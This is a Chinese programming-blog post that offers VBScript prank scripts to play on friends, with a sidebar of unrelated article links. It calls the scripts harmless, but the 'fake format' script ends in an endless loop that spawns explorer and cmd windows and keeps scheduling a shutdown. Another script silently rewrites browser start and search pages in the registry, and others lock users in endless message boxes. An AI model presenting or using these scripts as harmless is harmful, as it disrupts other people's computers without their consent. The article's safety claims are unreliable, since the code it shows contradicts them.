热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

编写有趣的VBScript恶作剧脚本

本文将介绍如何编写一些有趣的VBScript脚本,这些脚本可以在朋友之间进行无害的恶作剧。通过简单的代码示例,帮助您了解VBScript的基本语法和功能。

在本文中,我们将探讨如何使用Vbscript编写一些有趣的、无害的恶作剧程序。这些程序可以用来逗朋友们一笑,但请确保它们不会对系统造成任何实际损害。

以下是几个简单且有趣的Vbscript示例:

1. 无限消息框

这段代码会不断弹出消息框,直到用户关闭它。

Do
MsgBox "你好!"
Loop

2. 语音报数

这个脚本会用计算机的声音不断报数。

Set s = CreateObject("sapi.spvoice")
i = 0
Do
s.Speak i
i = i + 1
Loop

3. 模拟重启提示

该脚本会弹出一个模拟的重启提示框,并在用户点击取消时显示一条玩笑信息。

If MsgBox("对不起,您需要重新启动计算机。确定要重启吗?", vbOKCancel + vbInformation, "重新启动计算机") = vbCancel Then
MsgBox "你上当了!!", , "哈哈"
End If

4. 模拟格式化提示

这个脚本会弹出一系列消息框,营造出即将格式化的假象,但实际上并不会执行任何危险操作。

MsgBox "即将格式化!请做好准备!", vbYesNo
MsgBox "准备好后点yes!", vbYesNo
MsgBox "sorry,忘说了,点no也行!"
MsgBox "我对不起你啊!呜呜呜555哈哈哈哈!"
MsgBox "靠,我笑个屁呀!我可是著名博士!在精神病院搞一种研究。。。"
MsgBox "被人研究!"
MsgBox "就知道你会笑!告诉你,我最歧视两种人!一是歧视别人的人,二是爱笑人,三是不识数的人!"
MsgBox "你咋还笑?!是时候惩罚你了!"
Do
Set ws = CreateObject("wscript.shell")
ws.Run "explorer.exe"
ws.Run "cmd.exe"
ws.Run "cmd.exe /c shutdown -s -t 7200", , True
Loop

5. 讲故事循环

这段代码会不断地讲述一个古老的故事,直到用户终止脚本。

Dim a
a = MsgBox("给你讲个故事!", vbYesNo, "默默许愿制作")
If a = vbYes Then
Do
MsgBox "从前有座山"
MsgBox "山上有座庙"
MsgBox "庙里有两个和尚"
MsgBox "大和尚给小和尚讲故事说"
a = 1
Loop While a = 1
End If

6. 设置默认主页为百度

该脚本会将用户的浏览器默认页和搜索页设置为百度。

Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL", "http://www.baidu.com"

注意事项

虽然这些脚本看起来很有趣,但在使用时请注意以下几点:

  • 确保您的脚本不会对系统或数据造成任何损害。
  • 尊重他人的设备和隐私,不要滥用这些脚本。
  • 始终告知对方这是一个恶作剧,以避免不必要的误会。

希望这些示例能帮助您更好地理解Vbscript编程,同时也能为您带来一些乐趣。如果您有任何问题或建议,请随时留言交流。


推荐阅读
  • 本文详细介绍了Akka中的BackoffSupervisor机制,探讨其在处理持久化失败和Actor重启时的应用。通过具体示例,展示了如何配置和使用BackoffSupervisor以实现更细粒度的异常处理。 ... [详细]
  • 优化ListView性能
    本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ... [详细]
  • 技术分享:从动态网站提取站点密钥的解决方案
    本文探讨了如何从动态网站中提取站点密钥,特别是针对验证码(reCAPTCHA)的处理方法。通过结合Selenium和requests库,提供了详细的代码示例和优化建议。 ... [详细]
  • 在前两篇文章中,我们探讨了 ControllerDescriptor 和 ActionDescriptor 这两个描述对象,分别对应控制器和操作方法。本文将基于 MVC3 源码进一步分析 ParameterDescriptor,即用于描述 Action 方法参数的对象,并详细介绍其工作原理。 ... [详细]
  • Android 渐变圆环加载控件实现
    本文介绍了如何在 Android 中创建一个自定义的渐变圆环加载控件,该控件已在多个知名应用中使用。我们将详细探讨其工作原理和实现方法。 ... [详细]
  • 本章将深入探讨移动 UI 设计的核心原则,帮助开发者构建简洁、高效且用户友好的界面。通过学习设计规则和用户体验优化技巧,您将能够创建出既美观又实用的移动应用。 ... [详细]
  • 尽管使用TensorFlow和PyTorch等成熟框架可以显著降低实现递归神经网络(RNN)的门槛,但对于初学者来说,理解其底层原理至关重要。本文将引导您使用NumPy从头构建一个用于自然语言处理(NLP)的RNN模型。 ... [详细]
  • 使用GDI的一些AIP函数我们可以轻易的绘制出简 ... [详细]
  • dotnet 通过 Elmish.WPF 使用 F# 编写 WPF 应用
    本文来安利大家一个有趣而且强大的库,通过F#和C#混合编程编写WPF应用,可以在WPF中使用到F#强大的数据处理能力在GitHub上完全开源Elmis ... [详细]
  • 主要用了2个类来实现的,话不多说,直接看运行结果,然后在奉上源代码1.Index.javaimportjava.awt.Color;im ... [详细]
  • 本文详细介绍了Java中org.eclipse.ui.forms.widgets.ExpandableComposite类的addExpansionListener()方法,并提供了多个实际代码示例,帮助开发者更好地理解和使用该方法。这些示例来源于多个知名开源项目,具有很高的参考价值。 ... [详细]
  • 前言--页数多了以后需要指定到某一页(只做了功能,样式没有细调)html ... [详细]
  • 本文深入探讨了 Java 中的 Serializable 接口,解释了其实现机制、用途及注意事项,帮助开发者更好地理解和使用序列化功能。 ... [详细]
  • 在维护公司项目时,发现按下手机的某个物理按键后会激活相应的服务,并在屏幕上模拟点击特定坐标点。本文详细介绍了如何使用ADB Shell Input命令来模拟各种输入事件,包括滑动、按键和点击等。 ... [详细]
  • 获取计算机硬盘序列号的方法与实现
    本文介绍了如何通过编程方法获取计算机硬盘的唯一标识符(序列号),并提供了详细的代码示例和解释。此外,还涵盖了如何使用这些信息进行身份验证或注册保护。 ... [详细]
author-avatar
弥晓潞_509
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有